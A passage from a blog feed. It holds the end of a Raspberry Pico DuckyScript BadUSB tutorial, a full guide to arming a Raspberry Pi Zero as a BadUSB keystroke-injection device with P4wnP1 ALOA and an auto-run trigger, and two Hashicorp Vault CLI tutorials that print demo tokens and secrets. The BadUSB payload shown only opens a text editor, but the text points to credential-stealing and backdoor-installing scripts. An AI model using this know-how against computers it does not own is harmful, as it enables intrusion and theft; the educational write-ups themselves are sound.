For testing purposes, you can run the script from the Thonny IDE on your setup computer. To have an additional fallback: Connect the GP0 0 with any GND pin on the Pico to put it into setup mode and disable automatic program execution. Then, selects the code.py file, and click on the run button. The Thonny terminal shows the program execution like this:

progStatus False
Finding payload
Running  payload.dd
Done

For the concrete deployment of the exploit, simply unplug the Pico and connect it to its target system. Once the USB drive is mounted, the script will run automatically.

Pico W Bonus: Interactive Web Server

When you use a Pico W Board, the Pico Duck library will create a local Wifi hotspot with SSID and PSK defined in the secrets.py file. Starting the program via Thonny, you should see the following messages:

Starting Wifi
Connect wifi
192.168.4.1 80
Starting Web Service
starting monitor_buttons
starting blink_pico_w_led
192.168.4.1 80
open this IP in your browser: http://192.168.4.1:80/

Connect to the WiFi hotspot, open the given URL, and you will see a simple web GUI that allows you to add, edit and run exploits.

Outlook

Using USB devices to automatically execute commands can compromise systems. This article only showed a very simple exploit, and it has clear limitations. First, it only works on the intended target system and relies on the specific graphical text editor program to be present. Second, the script will run continuously, without interpretation.

Comparing the DuckyScript with HID script from my earlier article leads me to several observations. HID is based on JavaScript, giving access to full programming language concepts with functions, loops and conditions. Also, HID scripts includes commands to randomize the typing speed of long texts to that of humans Another difference are triggers. HID scripts can be started when a specific event happens, for example when other keystrokes on the host system are detected or when no keystrokes are detected for an amount of time. This makes HID script more stealthy. But there is one big difference: For DuckyScript, a complete language documentation is available. I'm sure that a better understanding of its features will change my viewpoints.

Finally, the USB HID library provides many additional features that can be used. The official documentation lists examples how to control the mouse as well as other generic input like changing the sound volume of the targeted computer. It would be interesting to see how these commands could be incorporated or integrated with Pico Duck.

Conclusion

In this article, you learned how to convert the Raspberry Pico microcontroller into a USB hacking device. Essentially you program the Pico with a custom scripting language, called DuckyScript, with which USB keyboard commands can be executed. Mounted to a target system, the script is executed on the host, and can be used to input complex command sequences. The article showed you how to get started. Besides the Pico itself, you just need a recent Circuit Python version, a USB HID library, and the Pico Duck library which interprets DuckyScript exploits to run with Micro Python. You also saw a very simple exploit for a Linux system: Opening the text editor and type an automated message. But be advised: Only run exploits on systems that you own, and mind that you can damage your computer too.

Turning the Raspberry Pi Zero into a Hacking Gadget

Sebastian — Thu, 16 Apr 2026 04:49:02 +0000

Single Board Computers with the ability to run a full-fledged Linux distribution can be used as portable devices for a wide variety of use cases. To my surprise, one of them is computer hacking. I was astonished about the creativity and ease-of-use how a Raspberry Pi, Raspberry Pi Zero or Pico can be used for potentially nefarious activities. And after a long deliberation, I decided to start writing blog posts about this subject.

The article completely covers the installation, setup, and configuration to convert a Raspberry Pi Zero into a portable hacking device. Once powered, the device will start a custom WiFi endpoint and can be connected to via SSH or HTTP. It offers a CLI and a full-fledged GUI to configure the device behavior when connected to USB. And it can run shell or a custom JavaScript compatible language to initiate keyboard stokes, move the mouse, and access files of the device it is connected too. You will also learn how to combine triggers, startup templates, and HID script for an entry level exploit: When connected via USB to a host system, a text editor will be opened and a message written into it.

This article is for educational purposes only. Only use computers and devices that you own, and be mindful that they can be damaged.

The initial idea for this topic was sparked by an excellent article in the German computer magazine CT 2023/27 titled "Bad USB: Raspi Zero". The articles itself cannot be accessed, but only its link collection is available on the public internet.

This article originally appeared at my blog admantium.com.

Writing about Hacking?

For a long time, I have been thinking about the aspect of writing about hacking. My specific concern is about how knowledge in this area, the concrete concepts and processes, can be used for nefarious activities. On the other hand, knowledge gathered by first-hand experience, and transparent communication about it, can raise the awareness about essential dangers. Ultimately, this is tied to the question of knowledge itself: For which purpose do you use it?

Physical hacking is the process of connecting an external device to a target computer and starting an exploit. The goals of hacking are manifold, starting from recording interactions that happen at the computer, reading and copying computer files or the computer memory, running user interactions like keystrokes or mouse movements, executing scripts to modify the system or install new applications. An exploit is the concrete process to achieve a goal, and it can be a combination of intended computer behavior (e.g. registering a USB device) with known or new vulnerabilities in a computer system.

I'm no security consultant, but working in IT, I'm exposed to security topics on a daily basis. Bridging the gap from theoretical knowledge to hands-on experiences while further exploring the amazing Raspberry Pi use cases provided the final nudge to start this blog series. And with this realization, I also feel the need to formulate a disclaimer: This blog content is presented as-is for educational purposes. Only use them on computer systems that you own, and be aware that you can damage the systems.

Finally, bear in mind that explored concepts in this article are written from a beginner’s mind.

Hardware Requirements and Assembly

The required hardware for this article is as follows:

Raspberry Pi Zero W (specifically not a Pi Zero W)
USB Dongle (for example the EP-0097)

The USB dongle needs to be assembled to turn the Zero into a USB hacking device. The particular dongle that I acquired did not include a construction manual, but its components seemed manageable.

However, trying to assemble it manually surfaced an embarrassing knowledge gap. Specifically, I thought that the connection pins of the USB dongle need to be connected to the Zeros GPI pins. But no, right next to the Zeros USB ports, external circuit "touchpoints" are exposed - the dongle pins merely need to touch them too.

To assemble the USB dongle correctly, follow these steps:

Remove the protection layer from the acryl board
Put the thinner acryl board to the bottom
Put the dongle board on top so that the backside of the extruding pins aligns
Put the thicker acryl board on top, aligning with the pins outward facing direction
Put the RPI Zero with the bottom side down and align the connector pins with the touchpoints
Carefully tighten the screws

The resulting device should look like this:

Software Installation & First Boot

To turn the RPI Zero into a hacking device, the Linux Distribution P4wnP1 ALOA - called PPA from here - will be used. This is a custom Linux distribution, build on top of Kali Linux and specifically modified to run on the RPI Zero. As any other OS, the installation encompasses downloading the image, flashing it onto a SD Card, and booting the device.

The specific steps in detail:

Go to the P4wnP1 ALOA release page and download the latest version (Note: Don't be discouraged by the release date of February 2020 - the project works very well!)
Open an image software of your choice, then flash the image (my recommendation is Balena Etcher)

After this, put the SD Card into the device, and power it via the USB mini port.

Shortly after booting, PPA creates a custom WiFi with an awkward, UTF8 icon encoded named: "💥 🖥️ 💥". Connect to it with the password MaMe82-P4wnP1, and once the connection is established, you start exploring the many configuration options.

Tool Overview

PPA is a special Linux distribution with flexible and run-time configurable hardware features of the Raspberry Pi Zero. It provides access to this configuration both via the Web GUI and a CLI. After reading the projects extensive documentation and using the tool for some time, the Web GUI provides more features and will be used exclusively in the remainder of this article.

With an active connection to the hotspot, open http://172.24.0.1:8000 in a browser to access the configuration screen:

Each section in this GUI is a configurable building block of the complete functionality. By learning one section at a time, the overall number of available features becomes clearer.

Hardware Settings

Most sections in the tool menu directly modify the hardware features.

USB: In this section, you define the USB properties when the Zero is connected to the targets. Available options start with the ID, serial number and vendor name, and continue with which USB functions the device offers. It can serve as an ethernet adapter, an HID device (keyboard, mouse, custom HID like pointer), as a serial interface, and as USB storage.
WiFi: You can enable or disable the WiFi, change its SSID and PSK, and define its channel and visibility.
Bluetooth: The Bluetooth stack provides several configuration options. The basic ones: availability, discoverability, and connectivity. Furthermore, you can configure if other devices are pairable with/without a key. BLE and Blue Toot High Speed are also supported. Lastly, different Bluetooth network encapsulation protocol services are provided: Network Access Point, Portable Area Network, and Group Ad-hoc network.
Network: In this category, you can configure the concrete network interface settings for the bteth, usbeth and wlan0. For an DHCP server, the IPv4 gateway address, client addresses and netmask, and static hosts. Alternatively, you can also configure interfaces with just static addresses or as clients.

Behavior Programming

To create and manage scripts that are executed when the USB stick is connected to a host, you can use the following:

Trigger Actions: A combination of an event and a concrete action. For an event, several options exist: system checkpoints during startup (Wifi AP, core services), when an USB gadget connects or disconnects, when an external WiFi AP is joined, values on group channel, and even when a GPIO input is detection. The actions can be to write a log entry, send a value to a group channel, set an output to a GPIO, as well as starting a HID script or bash script. Each trigger action can be set to run only and exactly once, or continuously every time it occurs.
HID Script: The heart of exploitation scripting. PPA provides a JavaScript compatible language to program complex behavior that runs on the target machines. As provided in the documentation, special attention was given to robust and OS-agnostic keyboard interactions, including keyboard layout, timing of keystrokes, and waiting for keyboard input. Also, the mouse cursor can be controlled, and combining it with the concrete physical dimensions of the target screen, pixel perfect controls can be achieved. Finally, all JavaScript concepts can be used, giving access to functions, loops, complex conditions and much more.

Log and Settings

Two more sections complete the configurability of the PPA device.

Event Log: Shows all on-device stored log messages that PPA created during its usage. Messages are retained and persisted between boots, giving a complete picture how and when it was used.
Generic Settings: The very last menu item appears a bit misleadingly named - it does not control the overall GUI, but the concrete run- and boot time behavior of PPA. Essentially, the Master Template Editor allows you to select and combine any defined USB, WiFi, Bluetooth, and Network setting, as well as the Trigger actions. With this, you specify the concrete behavior of the PPA, essentially arming the device for its intend purpose. The other options are to restart or shutdown the system, and to create or restore a backup of all user-define settings and modifications.

Writing and activating an HID Exploit

The feature of PPA is extensive, and for a beginner exploring the device features, it might seem daunting to find a good start point. Following the project documentation closely, let’s start with a script that opens a text editor on the host and writes a message. The target OS is Linux Ubuntu.

In the GUI, open the HID Script tab. The editor features syntax highlighting and remote execution for testing purposes. Paste the following code into the editor:

layout('de');   // US keyboard layout
typingSpeed(100,150) // Wait 100ms between key strokes + an additional random value between 0ms and 150ms (natural)

//waitLED(ANY_OR_NONE);  // Wait till NUM LED of target changes frequently multiple times (doesn't work on OSX)

delay(5000);
press("CTRL ALT t");
delay(1000);
type("gedit\n")
delay(1000);
type("Hello from Raspberry Pi Zero");

As you see, the commands relate directly to executing keystrokes on the target machines, enriched by meta-arguments to influence the typing process. The function layout sets the target keyboard, and the delay function defines a random time range for each keystroke, making interactions more natural. With waitForLed, a specific trigger can be added, deferring the script execution until keyboard interaction is detected. This prevents executing the script when e.g. the screen is still locked by the user.

Now, to run this script, two options exist. If you connected the Raspberry Zero directly to a host system, you could click on "Run". The other option is to actually program this script to be executed when the Raspberry Zero is connected to a computer. For this:

Click on "Store" and define a suitable name for the script.
Select the tab "Trigger Action" and click on "Add one"
In the dialog, activate the "Enabled" slider, then fill out the trigger "USB gadget connected to host", and in the action field the option "start a HID script" as well as the given script name file (also see the next picture)

The final step is to store and activate this trigger definition:

Still on the "Trigger Action" tab, click on "Store" to save all active triggers as a configuration
Go to on "Generic Settings", and in the "Master Template Editor", select the Trigger Action template that you just stored

That’s it. Now you can connect the stick to a Linux host computer and see the script happening.

Where to Continue

Exploring the depth of HID script to write advanced exploits is not the focus of this article. However, I explored some ideas and give my summary here:

P4wnP1: The ancestor project. It includes links to videos and presentations showing particular exploits.
pwnhyve: Naming itself as a sibling project, it focuses on bad USB capabilities and the injection of shellcode into target computers.
pi_zero2w Another developer forked the project and created a version that runs on a Raspberry Pi Zero 2 W, but it with fewer Kali Linux tools and no Bluetooth support
Explore HID Script language: Unfortunately, there is no written document of the language, and digging into the project source code did not reveal an approachable form to me. Considering related rubber duck scripts, the general attack vector is to use HID commands to deploy a base64 decoded scripts for the shell language of the target system (PowerShell for Windows, Bash for Linux), which is then executed to install additional malware or a backdoor.
HID Script collection: This repository is the only other source of examples. It contains script that target Windows Systems to steal credentials and password and provides examples both in HID and in Rubber Duck script.

Conclusion

Small form-size single board computer can be used as hacking gadgets. This article showed how to turn a Raspberry Pi Zero into a bad USB device, a specific form of physical hacking in which an inserted USB stick executes command on the host. You only need a Raspberry Pi Zero, an USB dongle to expose the Zeros USB ports, and the PPA Linux Image. Once the initial setup is completed, the Zero turns into a WiFi and SSH accessible device with complex configuration options for all hardware features. To write a bad USB exploit, the HID language, based on JavaScript, can be used to instruct a sequence of keystrokes. This article showed only a simple exploit: Opening the systems text editor to write a message. Yet the potential for serious exploits becomes visible: By executing shell scripts on the targets, access to the system can be achieved, stealing credentials or installing malware and backdoors.

Hashicorp Vault CLI Part 9: Managing Encryption Keys

Sebastian — Mon, 06 Apr 2026 05:09:16 +0000

Hashicorp Vault provides many features, and the secure storage of encrypted data and secrets is at its heart. Secrets engines are dedicated plugins that govern this storage. They can be grouped into builtin, application and services, cloud, and encryption keys. While all secret engines provide a REST API for interaction, some Vault builtin engines also have dedicated CLI commands.

In this article, all CLI commands for managing or using keys are explored. These commands target the transform, transit, pki and ssh secrets engines. To further the understanding of applying these commands, examples in the context of a local, three server Vault cluster will be shown.

The technical context of this article is hashicorp_vault_v1.21.1, released 2025-11-18. All provided information and command examples should be valid with newer versions too, baring an update of the CLI commands' syntax.

The background material for this article stems from the official Hashicorp Vault documentation about Vault CLI and subsequent pages, as well as information from the binary itself.

This article originally appeared at my blog admantium.com.

Vault CLI Overview

The Vault CLI provides more than 30 commands. For systematically explaining and contextualizing each command, they can be structured as follows.

Groups and commands marked with a checkmark were covered in an earlier article, and commands marked with an at sign are the focus for this article.

✅ Initialization
- server: Starts a server process
- agent: Starts an agent process, a utility to communicate with a vault server to gain access to tokens
- proxy: Starts a vault proxy process
✅ Configuration
- operator: Cluster management operations, including memberships, encryption and unseal keys
- plugin: Manage and install additional plugins
- read / list: Access stored configuration and secrets
- write / patch: Modify or create any data
- delete: Delete configuration data or secrets
✅ Introspection
- status: Show status information of the vault server
- version: Shows compact version information and build timestamp
- version-history: Shows detailed version information about all previously used vault server instances
- print: Detailed view of the vault’s server runtime configuration
- path-help: Detailed documentation about API endpoints
- events: Subscribe to the event stream of a running vault instance
- monitor: Print vault log messages
- debug: Shows debug information of the connected Vault server
- audit: Interact with connected audit devices
✅ Vault Enterprise
- hcp: Operate a managed Hashicorp Vault cluster
- namespace: Interact with configured namespaces of the cluster
✅ Authorization
- policy: Manage policy definitions that govern all vault operations
- tokens: General token management
- lease: Manage current token leases, including renewal, revocation and TTL modification
Authentication
- ✅ auth: Interact with configured authentication options
- ✅ login: Authenticates access to a Vault server
Secrets Management
- ✅ secrets: General configuration of secret engines
- ✅ kv: Access to the essential key-value store
- 🌀 transform: Interact with the transform secrets engine
- 🌀 transit: Interact with the Vaults transit secrets engine
- 🌀 unwrap: One-time access to arbitrary encrypted data
- 🌀 pki: Access the private key infrastructure secrets engine
- 🌀 ssh: Initiates SSH sessions via the SSH secrets engine

General Purpose Encryption Key Commands

`transform`

The transform command allows to import a self-managed key for the purpose of defining a new generic or a special format preserving encryption tokenizer.

Alas, the transform secret engine is a Vault enterprise feature. A try to mount the secret engine merely results in an error.

> vault secrets enable transform

# Log messages
Error enabling: Error making API request.

URL: POST http://127.0.0.1:8210/v1/sys/mounts/transform
Code: 400. Errors:

* plugin not found in the catalog: transform

# Log messages
Retrieving wrapping key.
failed to fetch wrapping key: no mount found at transform: <nil>

`transit`

Normally, secret data is stored in Vault, but the transit engine instead encrypts or decrypts provided data without keeping a record of it. Therefore, it can be considered encryption-as-a-service.

The transit command allows to import external, self-managed keys with the import or import-version subcommands. Here is a full example, starting with the secret engines’ activation, key generation, and key import.

# Activate the transit secret engine
> vault secrets enable transit

# Generate the key in DER format, then encode in base64
> openssl genpkey -algorithm ed25519 -outform DER -out ed25519.key.der 
> cat ed25519.key.der| base64 > ed25519.key.b64

# Import the key
> vault transit import transit/keys/ed25519 @ed25519.key.b64 type="ed25519-2048" derived=true

# Log messages
Retrieving wrapping key.
Wrapping source key with ephemeral key.
Encrypting ephemeral key with wrapping key.
Submitting wrapped key.
Success!

# Check the key
> vault read transit/keys/rsa

# Log messages
Key                            Value
---                            -----
allow_plaintext_backup         false
auto_rotate_period             0s
convergent_encryption          false
deletion_allowed               false
derived                        true
exportable                     false
imported_key                   true
imported_key_allow_rotation    false
kdf                            hkdf_sha256
keys                           map[1:map[certificate_chain: creation_time:2025-12-23T08:18:13.700025+01:00 hybrid_public_key: name:ed25519 public_key:]]
latest_version                 1
min_available_version          0
min_decryption_version         1
min_encryption_version         0
name                           ed25519
supports_decryption            false
supports_derivation            true
supports_encryption            false
supports_signing               true
type                           ed25519

`unwrap`

The conventional workflow to access secrets in Hashicorp Vault is that a user or system authorizes, retrieves a token, and accesses end points to which the policies associated with the issued token provide sufficient access rights. However, in some situations, it might not be desirable to allow access for a prolonged period of time, or it is required to access a stored secret only once. For these situations, Vault provides a feature called response wrapping. The original returned data is encrypted and stored in a cubbyhole secret, and a token to decrypt this secret is returned instead. To retrieve this secret, the unwrap function can be used.

The following example shows how to create a secret in a KV store, then wrapping the secret access, and then to unwrap it.

> vault secrets enable --version=2

# Log messages
Success! Enabled the kv secrets engine at: kv/

> vault kv put kv/data/config-db admin=0ab84480a1efb802c1bd2 

# Log messages
===== Secret Path =====
kv/data/data/config-db

======= Metadata =======
Key                Value
---                -----
created_time       2025-12-15T08:48:25.820085Z
custom_metadata    <nil>
deletion_time      n/a
destroyed          false
version            1

> vault kv get -wrap-ttl=1m kv/data/config-db

# Log messages
Key                              Value
---                              -----
wrapping_token:                  hvs.CAESIKQIDe0zG0kMxKAMQVtk5n6dkt6FJ-1BOgkybvh1sddvGh4KHGh2cy43NTJGdG0xd1pqRkpMVnA2VExOS1ZWb00
wrapping_accessor:               B5rcG14qOl1y0SXUmpnr6J1n
wrapping_token_ttl:              1m
wrapping_token_creation_time:    2025-12-15 09:50:02.085264 +0100 CET
wrapping_token_creation_path:    kv/data/data/config-db

> vault unwrap hvs.CAESIKQIDe0zG0kMxKAMQVtk5n6dkt6FJ-1BOgkybvh1sddvGh4KHGh2cy43NTJGdG0xd1pqRkpMVnA2VExOS1ZWb00

# Log messages
Key         Value
---         -----
data        map[admin:0ab84480a1efb802c1bd2]
metadata    map[created_time:2025-12-15T08:48:25.820085Z custom_metadata:<nil> deletion_time: destroyed:false version:1]

Encryption Key Management

The pki secrets engine allows Vault to become an automated certificate issuer. Covering the complete lifecycle, from CSR to CER and revocation, external systems can get certificates as required.

With the vault pki command, several subcommands for certificate issuing and revocation are offered. Internally, they will perform a sequence of CRUD operations, reading from and writing to several endpoints. To operate the engine with its full functionality, the general CRUD methods need to be used, which were covered in my earlier article Plugin Management and General CRUD Operations.

To cover the certificate creation process from root to intermediate, the Vault documentation suggests to use multiple pki engines at different mount points. Following commands create the required example context:

> vault secrets enable pki

> vault write -field=certificate pki/root/generate/internal common_name=admantium.com exported=internal > root_ca.cer

> vault write pki/config/urls \
  issuing_certificates="$VAULT_ADDR/v1/pki/ca" \
  crl_distribution_points="$VAULT_ADDR/v1/pki/crl"

> vault secrets enable -path=pki_intermediate pki

`vault pki health-check`

With this command, a complete introspection to all endpoints of the PKI engine is provided. Its output checks aspects such as certificate validity, configuration for the external ACME issuer service, and more.

> vault pki health-check pki/

# Log messages
ca_validity_period
------------------
status      endpoint                                            message
------      --------                                            -------
critical    /pki/issuer/1cc848d5-b781-d4d3-2ab7-893d5e31f3ce    Issuer's validity is outside of the suggested rotation window: issuer is valid until 2026-01-25 but expires within 6mo (ending on 2026-06-22). It is suggested to start rotating this issuer to new key material to avoid future downtime caused by this current issuer expiring.


crl_validity_period
-------------------
status    endpoint                                                      message
------    --------                                                      -------
ok        /pki/issuer/1cc848d5-b781-d4d3-2ab7-893d5e31f3ce/crl          CRL's validity (2025-12-24 to 2025-12-27) is OK.
ok        /pki/issuer/1cc848d5-b781-d4d3-2ab7-893d5e31f3ce/crl/delta    Delta CRL's validity (2025-12-24 to 2025-12-27) is OK.


root_issued_leaves
------------------
status    endpoint      message
------    --------      -------
ok        /pki/certs    Root certificate(s) in this mount have not directly issued non-CA leaf certificates.


role_allows_localhost
---------------------
status    endpoint    message
------    --------    -------


role_allows_glob_wildcards
--------------------------
status    endpoint    message
------    --------    -------


role_no_store_false
-------------------
status    endpoint    message
------    --------    -------


audit_visibility
----------------
status           endpoint                message
------           --------                -------
informational    /sys/mounts/pki/tune    Mount currently HMACs csr because it is not in audit_non_hmac_request_keys; as this is not a sensitive security parameter, it is encouraged to disable HMACing to allow better auditing of the PKI engine.


allow_if_modified_since
-----------------------
status           endpoint                message
------           --------                -------
informational    /sys/mounts/pki/tune    Mount hasn't enabled If-Modified-Since Request or Last-Modified Response headers; consider enabling these headers to allow clients to fetch CAs and CRLs only when they've changed, reducing total bandwidth.


enable_auto_tidy
----------------
status           endpoint                 message
------           --------                 -------
informational    /pki/config/auto-tidy    Auto-tidy is currently disabled; consider enabling auto-tidy to execute tidy operations periodically. This helps the health and performance of a mount.


tidy_last_run
-------------
status      endpoint            message
------      --------            -------
critical    /pki/tidy-status    Tidy hasn't run since this mount was created; this can point to problems with the mount's auto-tidy configuration or an external tidy executor; this can impact PKI's and Vault's performance if not run regularly. It is suggested to enable auto-tidy on this mount.


too_many_certs
--------------
status    endpoint      message
------    --------      -------
ok        /pki/certs    This mount has an OK number of stored certificates.


enable_acme_issuance
--------------------
status            endpoint            message
------            --------            -------
not_applicable    /pki/config/acme    Mount contains only root issuers, ACME is not required.


allow_acme_headers
------------------
status            endpoint            message
------            --------            -------
not_applicable    /pki/config/acme    ACME is not enabled, no additional response headers required.

vault write -field=certificate pki/root/generate/internal \
     common_name="example.com" \
     issuer_name="Admantium_Root_CA" > root_2023_ca.crt

`vault pki issue`

To create an intermediate certificate, the issue subcommands requires the paths to the PKI engine that provides the root CA, the path to the PKI engine that creates the intermediate certificate, and flags for the issuer name and the common name of the new certificate.

> vault pki issue -issuer_name="Admantium_Root_CA" /pki/issuer/default /pki_intermediate/ common_name="blog.adamantium.com"

# Log messages
Key                               Value
---                               -----
ca_chain                          [-----BEGIN CERTIFICATE-----
MIIDRzCCAi+gAwIBAgIUX8qna7garPJWG7jWuW+Bp5MUPPAwDQYJKoZIhvcNAQEL
BQAwFjEUMBIGA1UEAxMLZXhhbXBsZS5jb20wHhcNMjUxMjI0MDk1NzMwWhcNMjYw
...
-----END CERTIFICATE-----

crl_distribution_points           []
delta_crl_distribution_points     []
enable_aia_url_templating         false
issuer_id                         9ea4aa8d-e69b-bb33-55cd-8a732dbe1d9d
issuer_name                       Admantium_Root_CA
issuing_certificates              []
key_id                            ce6a7bda-4a62-5f40-1d67-feff574e3629
leaf_not_after_behavior           err
manual_chain                      <nil>
ocsp_servers                      []
revocation_signature_algorithm    n/a
revoked                           false
usage                             crl-signing,issuing-certificates,ocsp-signing,read-only

`vault pki reissue`

A configured intermediate certificate issuer can be used as a template for another provider, where some attributes are modified. This is the goal of the reissue command, and it requires the three PKI engine endpoints for the root CA, the intermediate the serves as the template, and the new issuer endpoint.

> vault pki reissue -issuer_name="Admantium_Root_CA" /pki/issuer/default /pki_intermediate/issuer/Admantium_Root_CA /pki_intermediate_2/ common_name="blog2.admantium.com"

# Log messages
Key                               Value
---                               -----
ca_chain                          [-----BEGIN CERTIFICATE-----
MIIDXDCCAkSgAwIBAgIUEHX6GOJK+GirdUbIhxupfimJhCswDQYJKoZIhvcNAQEL
BQAwFjEUMBIGA1UEAxMLZXhhbXBsZS5jb20wHhcNMjUxMjI0MTAxNzA2WhcNMjYw
...
-----END CERTIFICATE-----

crl_distribution_points           []
delta_crl_distribution_points     []
enable_aia_url_templating         false
issuer_id                         a4d92cfc-b71f-6492-47b2-5f0afb90bc8b
issuer_name                       Admantium_Root_CA
issuing_certificates              []
key_id                            9b629040-5903-cf8a-e0bd-9ade319b8099
leaf_not_after_behavior           err
manual_chain                      <nil>
ocsp_servers                      []
revocation_signature_algorithm    n/a
revoked                           false
usage                             crl-signing,issuing-certificates,ocsp-signing,read-only

`vault pki list-intermediate`

When the hierarchies of root to intermediate certificate becomes complex, this command can help to gain an overview. It requires the complete path to any certificate issuer, and lists all derived certificates.

As an example, when called on the root CA, it lists all so-far created certificates:

> vault pki list-intermediates /pki/issuer/default

# Log messages
intermediate                                                      match?
------------                                                      ------
pki_intermediate_2/issuer/b177e38f-8e3f-85c3-fed7-15e806d29010    true
pki_intermediate_2/issuer/d8873760-fe81-2062-8db8-9d03a0f16634    true
pki/issuer/0d365720-0d53-79a2-de95-f56fa434a0d5                   true
pki_intermediate/issuer/30bfd385-34d5-7d30-6400-82381469c21c      true
pki_intermediate/issuer/9ea4aa8d-e69b-bb33-55cd-8a732dbe1d9d      true
pki_intermediate_2/issuer/a4d92cfc-b71f-6492-47b2-5f0afb90bc8b    true

intermediate                                                    match?
------------                                                    ------
pki_intermediate/issuer/30bfd385-34d5-7d30-6400-82381469c21c    true
pki_intermediate/issuer/9ea4aa8d-e69b-bb33-55cd-8a732dbe1d9d    true
pki/issuer/0d365720-0d53-79a2-de95-f56fa434a0d5                 true

`vault pki verify-sign`

This command checks if the first given issuer was used to sign the second provided intermediate certificate.

> vault pki verify-sign pki/issuer/0d365720-0d53-79a2-de95-f56fa434a0d5 pki_intermediate/issuer/30bfd385-34d5-7d30-6400-82381469c21c

# Log messages
issuer:pki/issuer/0d365720-0d53-79a2-de95-f56fa434a0d5
issued:pki_intermediate/issuer/30bfd385-34d5-7d30-6400-82381469c21c

field              value
-----              -----
trust_match        true
key_id_match       true
signature_match    true
subject_match      true
path_match         true

Encryption Key Usage

The ssh secret engine allows connection to a remote machine based on signed SSH keys or one-time passwords. This allows users and systems to gain access to remote systems with ephemeral secrets, greatly improving security.

To create the context for this section's example, run the following commands:

> vault enable secret ssh

> vault write ssh/roles/otp \
    key_type=otp \
    default_user=admin \
    cidr_list=192.168.1.0/26

`vault ssh`

The vault ssh command establishes a connection to any remote host by one of these options. To establish a SSH connection to a remote host, the command needs to be called with a defined role, a mode, and a connection string:

> vault ssh -role otp -mode otp admin@192.168.1.42

# Log messages
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 99a09001-cfb6-2b4a-b422-fb9adb306125

Conclusion

The Vault CLI offers more than 30 subcommands. In a continuous blog article series, all commands were systematically explored and explained. In this final article, commands for handling encryption keys were covered. You learned how to a) import self-managed keys to the transit engine, b) use unwrap to decrypt data, c) utilize pki to issue root and intermediate certificates on demand, and d) establish ssh connections to remote hosts using ephemeral secrets.

Hashicorp Vault CLI Part 8: Secrets Management and Key-Value Engine

Sebastian — Thu, 26 Mar 2026 06:08:55 +0000

Hashicorp Vault is a tool for managing secrets and encrypted data. Upon successful authentication, a policy-based system authorizes access to Vault endpoints. All configuration aspects, as well as available functional featured, can be managed via its CLI.

In an ongoing series, all CLI commands are explored systematically. The focus of this article are commands from the secret’s management group. Specifically, the management if secret engines themselves, and commands for working with encrypted data.

The background material for this article stems from the official Hashicorp Vault documentation about Vault CLI and subsequent pages, as well as information from the binary itself.

This article originally appeared at my blog admantium.com.

Vault CLI Overview

The Vault CLI provides more than 30 commands. For systematically explaining and contextualizing each command, they can be structured as follows.

Groups marked with a checkmark were covered in an earlier article, and the commands marked with an at sign are the focus for this article.

✅ Initialization
- server: Starts a server process
- agent: Starts an agent process, a utility to communicate with a vault server to gain access to tokens
- proxy: Starts a vault proxy process
✅ Configuration
- operator: Cluster management operations, including memberships, encryption and unseal keys
- plugin: Manage and install additional plugins
- read / list: Access stored configuration and secrets
- write / patch: Modify or create any data
- delete: Delete configuration data or secrets
✅ Introspection
- status: Show status information of the vault server
- version: Shows compact version information and build timestamp
- version-history: Shows detailed version information about all previously used vault server instances
- print: Detailed view of the vault’s server runtime configuration
- path-help: Detailed documentation about API endpoints
- events: Subscribe to the event stream of a running vault instance
- monitor: Print vault log messages
- debug: Shows debug information of the connected Vault server
- audit: Interact with connected audit devices
✅ Vault Enterprise
- hcp: Operate a managed Hashicorp Vault cluster
- namespace: Interact with configured namespaces of the cluster
✅ Authorization
- policy: Manage policy definitions that govern all vault operations
- tokens: General token management
- lease: Manage current token leases, including renewal, revocation and TTL modification
✅ Authentication
- auth: Interact with configured authentication options
- login: Authenticates access to a Vault server
Secrets Management
- 🌀 secrets: General configuration of secret engines
- 🌀 kv: Access to the essential key-value store
- transform: Interact with the transform secrets engine
- transit: Interact with the Vaults transit secrets engine
- unwrap: One-time access to arbitrary encrypted data
- pki: Access the private key infrastructure secrets engine
- ssh: Initiates SSH sessions via the SSH secrets engine

Secret Engine Management

Secrets engines manage different types of encrypted data. They can be grouped into native, applications and services, cloud provider, and encryption keys. For a detailed explanation, see my earlier article about Secret Management Engines

The secret command governs the complete life-cycle of an engine, from activation to re-configuration and dismantling. In the following sections, a kv-v2 engine will be regarded.

`kv secrets enable`

Every engine needs to be activated at first. A minimalist invocation of the enable command
with just the secret engine name applies its default configuration including the mount path. Alternatively, all exposed configuration options can be passed as flags to customize the engine right from the start.

To activate a kv-v2 engine with default properties:

> vault secrets enable kv-v2

# Log messages
2025-12-19T09:01:22.459+0100 [INFO]  core: successful mount: namespace="" path=kv-v2/ type=kv version="v0.25.0+builtin"

Custom configurations can be applied during setup. The list of options is long, and support varies by engine. Available are:

default-lease-ttl=<duration>: The TTL value for all leases issued by the engine
description=<string>: Additional documentation for this secret engine, intended for users
external-entropy-access=<bool>: Allow this engine to access external entropy sources
force-no-cache=<bool>: Configure the caching behavior of the engine
listing-visibility=<string>: Controls if the engine should be visible to authenticated unauthenticated users. Allowed values are hidden and unauth.
local=<bool>: Secret engines configuration and values are normally replicated in the context of running Vault as a cluster. This option can disable this behavior.
max-lease-ttl=<duration>: The maximum TTL of issues leases. If this time passes, the lease can not be renewed again.
options=<key=value>: Additional generic options passed to the engine.
path=<string>: The mount path of the engine. Needs to be unique.
plugin-name=<string>: Vaults plugin nature allows developers to implement custom engine. This configuration option sets the correct plugin to use.
plugin-version=<string>: Set the plugins version to use.
seal-wrap: All secrets are encrypted with Vault-internal keys. This option allows to use additional keys for storing and reading secret data.
version=<int>: The version of the secret engine.

Here is an example to create the kv-v2 engine with specific options.

> vault secrets enable \
  -description="datacenter secrets" \
  -external-entropy-access=true \
  -listing-visibility=hidden \
  -force-no-cache=true -path=kv2 \
  -default-lease-ttl=5m \
  -max-lease-ttl=1h \
  kv-v2

# Log messages
2025-12-19T09:52:44.260+0100 [INFO]  core: successful mount: namespace="" path=kv2/ type=kv version="v0.25.0+builtin"

`kv secrets list`

This command shows all currently activated secret engines. The output can be formatted as table, JSON or YAML, and the -detailed flags

> vault secrets list -format=json

# Log messages
{
  "cubbyhole/": {
    "uuid": "2da6947a-8eb4-8bca-7405-8d056e87d997",
    "type": "cubbyhole",
    "description": "per-token private secret storage",
    "accessor": "cubbyhole_376f2732",
    "config": {
      "default_lease_ttl": 0,
      "max_lease_ttl": 0,
      "force_no_cache": false
    },
    "options": null,
    "local": true,
    "seal_wrap": false,
    "external_entropy_access": false,
    "plugin_version": "",
    "running_plugin_version": "v1.21.1+builtin.vault",
